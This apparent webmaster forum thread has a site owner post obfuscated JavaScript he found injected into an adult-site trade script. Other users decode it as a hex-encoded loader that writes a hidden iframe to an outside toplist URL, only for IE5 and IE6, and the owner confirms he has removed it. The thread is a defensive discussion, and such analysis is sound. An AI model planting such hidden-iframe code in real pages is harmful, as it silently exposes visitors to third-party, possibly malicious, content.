Found some suspicious code.....any ideas?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Ditosta
    Confirmed User
    • May 2006
    • 2107

    #1

    Found some suspicious code.....any ideas?

    Found this on one of my trade scripts
    PHP Code:
    <s c r i p t> var s='3C696672616D65207372633D22687474703A2F2F7777772E746869737472616E6E792E636F6D2F746F706C6973742F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</s c r i p t > 
    
    306213883

    New Pantyhose Fetish Model
    LilyDouce.com Rhinopays.com
  • CurrentlySober
    Too lazy to wipe my ass
    • Aug 2002
    • 38944

    #2
    any ideas? yes...

    get someone who understands what it means to tell you...

    OK, its a silly answer, but...

    ITS ALSO A BUMP !


    👁️ 👍️ 💩

    Comment

    • mrkris
      Confirmed User
      • May 2005
      • 2737

      #3
      1. It's javascript
      2. It tells your browser to open an iframe to http://www.thistranny.com/toplist/static.php and hides it.

      PHP-MySQL-Rails | ICQ: 342500546

      Comment

      • GrouchyAdmin
        Now choke yourself!
        • Apr 2006
        • 12085

        #4
        [an error occurred while processing this directive]

        Comment

        • donborno
          Confirmed User
          • Jan 2007
          • 374

          #5
          Originally posted by mrkris
          1. It's javascript
          2. It tells your browser to open an iframe to http://www.thistranny.com/toplist/static.php and hides it.
          But only if you use IE6.0 or IE5.x

          Comment

          • woj
            <&(©¿©)&>
            • Jul 2002
            • 47882

            #6
            safe bet is to probably remove it...
            Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
            Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
            Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

            Comment

            • Ditosta
              Confirmed User
              • May 2006
              • 2107

              #7
              Thanks guys! It has been removed
              306213883

              New Pantyhose Fetish Model
              LilyDouce.com Rhinopays.com

              Comment

              Working...